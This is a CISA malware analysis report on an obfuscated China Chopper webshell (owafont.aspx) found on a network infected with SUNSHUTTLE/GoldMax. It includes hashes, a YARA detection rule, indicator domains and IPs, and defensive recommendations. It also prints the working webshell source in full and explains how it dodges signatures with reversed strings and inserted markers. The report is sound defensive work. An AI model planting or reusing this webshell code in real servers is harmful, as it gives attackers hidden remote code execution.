prndrvrn.vbs (cb80a074e5fde8d297c2c74a0377e612b4030cc756baf4fff3cc2452ebc04a9c) attempts to connect to this domain.

0d770e0d6ee77ed9d53500688831040b83b53b9de82afa586f20bb1894ee7116

Tags

webshell

Details

Name	owafont.aspx
Size	377 bytes
Type	ASCII text, with very long lines, with no line terminators
MD5	4bb694523bed3645a1671fa7c6ff0dfb
SHA1	ad1e0abbb592edf7102c2dbcc9bf99e6fe742d29
SHA256	0d770e0d6ee77ed9d53500688831040b83b53b9de82afa586f20bb1894ee7116
SHA512	080b8bd560244427b77428e66558d0fd0c5a3feac735d5be5fc028bcab7b5cf7066674b54c81375f5291210d6bfb2afa7eb493a62f33e9a5b5
ssdeep	6:aEm70Vqp9skhXxFTrI8LwgHluPkcuG6LNSkbnKRWRt7GTS+3fGlEc39BDz:u70V4XDTrIwwgHlubyNSkhzQ3vGm6/
Entropy	5.292561

Antivirus

No matches found.

YARA Rules

```
rule CISA_3P_10327841_03 : CHINACHOPPER webshell
{
  meta:
    Author = "CISA Trusted Third Party"
    Incident = "10327841"
    Date = "2021-03-26"
    Actor = "n/a"
    Category = "Webshell"
    Family = "CHINACHOPPER"
    Description = "Detects iteration of China Chopper webshell server-side component"
  strings:
    $first_bytes = "<%"
    $replace = ".Replace(\"/*/\",\"\")" nocase
    $eval = "eval" nocase
    $toString = "tostring" nocase
    $length = "length" nocase
  condition:
    all of them
}
```

ssdeep Matches

No matches found.

Description

This file is an iteration of the China Chopper webshell server-side component. It has been customized and obfuscated to avoid string-based signature or rule detection. The webshell was observed being placed on a network with an active SUNSHUTTLE/GoldMax infection. The webshell would provide the actor with an alternative method of accessing the network if the SUNSHUTTLE/GoldMax infection was remediated.

The main command executed is:

eval(eval(Request.Item[G0T4oS6pa7FbAl2], unsafe)unsafe)

The components of this string have been obfuscated in two ways

1. The strings have been reversed. There is a function in the script that will reverse these upon execution
2. "/*/" strings have been inserted at various points in the strings. This will prevent any signature detection on words such as "Request" or "unsafe"

Note: The name “China Chopper” does not positively indicate Chinese attribution to this sample, it’s merely the name of a common web shell which was first used by Chinese APT groups but has since been used by many actors. Attribution of this sample is not discussed in this report.

--Begin original script--

```
<%@ Page Language="Jscript"%>
<% function ByzjwD(s){
var Ewl = s.Length; var Jcw = "";
for(var i = Ewl - 1; i >= 0; i--){
var Jcw = Jcw + s[i].ToString();
} return Jcw;
}
var Yhb = ByzjwD("]/*/\"" + ByzjwD("2lAbF7ap6So4T0G") + "\"/*/[me/*/t/*/I/*/./*/ts/*/eu/*/qe/*/R/*/").Replace("/*/","");
var Vzc = ByzjwD("e/*//*/f/*/as/*/nu/*/").Replace("/*/","");
eval(eval(Yhb,Vzc),Vzc);
%>
```

--End original script--

Relationship Summary

0affab34d9...	Contains	d8009ad96082a31d074e85dae3761b51a78f99e2cc8179ba305955c2a645b94d
d8009ad960...	Connected_To	185.225.69.69
d8009ad960...	Contained_Within	0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9
185.225.69.69	Connected_From	d8009ad96082a31d074e85dae3761b51a78f99e2cc8179ba305955c2a645b94d
185.225.69.69	Connected_From	fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836
f2a8bdf135...	Connected_To	nikeoutletinc.org
nikeoutletinc.org	Connected_From	ec5f07c169267dec875fdd135c1d97186b494a6f1214fb6b40036fd4ce725def
nikeoutletinc.org	Connected_From	f2a8bdf135caca0d7359a7163a4343701a5bdfbc8007e71424649e45901ab7e2
f28491b367...	Contains	fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836
fa1959dd38...	Contained_Within	f28491b367375f01fb9337ffc137225f4f232df4e074775dd2cc7e667394651c
fa1959dd38...	Connected_To	185.225.69.69
b9a2c986b6...	Contains	94c58c7fb43153658eaa9409fc78d8741d3c388d3b8d4296361867fe45d5fa45
94c58c7fb4...	Connected_To	reyweb.com
94c58c7fb4...	Contained_Within	b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8
reyweb.com	Connected_From	94c58c7fb43153658eaa9409fc78d8741d3c388d3b8d4296361867fe45d5fa45
ec5f07c169...	Connected_To	nikeoutletinc.org
4e8f24fb50...	Connected_To	megatoolkit.com
4e8f24fb50...	Dropped	bc7a3b3cfae59f1bfbde57154cb1e7deebdcdf6277ac446919df07e3b8a6e4df
megatoolkit.com	Connected_From	4e8f24fb50a08c12636f3d50c94772f355d5229e58110cccb3b4835cb2371aec
bc7a3b3cfa...	Dropped_By	4e8f24fb50a08c12636f3d50c94772f355d5229e58110cccb3b4835cb2371aec
88cd1bc85e...	Connected_To	eyetechltd.com
eyetechltd.com	Connected_From	88cd1bc85e6a57fa254ede18f96566b33cee999c538902aefc5b819d71163d07

cb80a074e5...	Connected_To	sense4baby.fr
sense4baby.fr	Connected_From	cb80a074e5fde8d297c2c74a0377e612b4030cc756baf4fff3cc2452ebc04a9c

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

- Maintain up-to-date antivirus signatures and engines.
- Keep operating system patches up-to-date.
- Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
- Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
- Enforce a strong password policy and implement regular password changes.
- Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
- Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
- Disable unnecessary services on agency workstations and servers.
- Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
- Monitor users' web browsing habits; restrict access to sites with unfavorable content.
- Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
- Scan all software downloaded from the Internet prior to executing.
- Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, **"Guide to Malware Incident Prevention & Handling for Desktops and Laptops".**

Contact Information

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-844-Say-CISA or CISA Central✉.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

- Web: https://malware.us-cert.gov
- E-Mail: submit@malware.us-cert.gov✉
- FTP: ftp.malware.us-cert.gov (anonymous)

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA's homepage at www.cisa.gov.
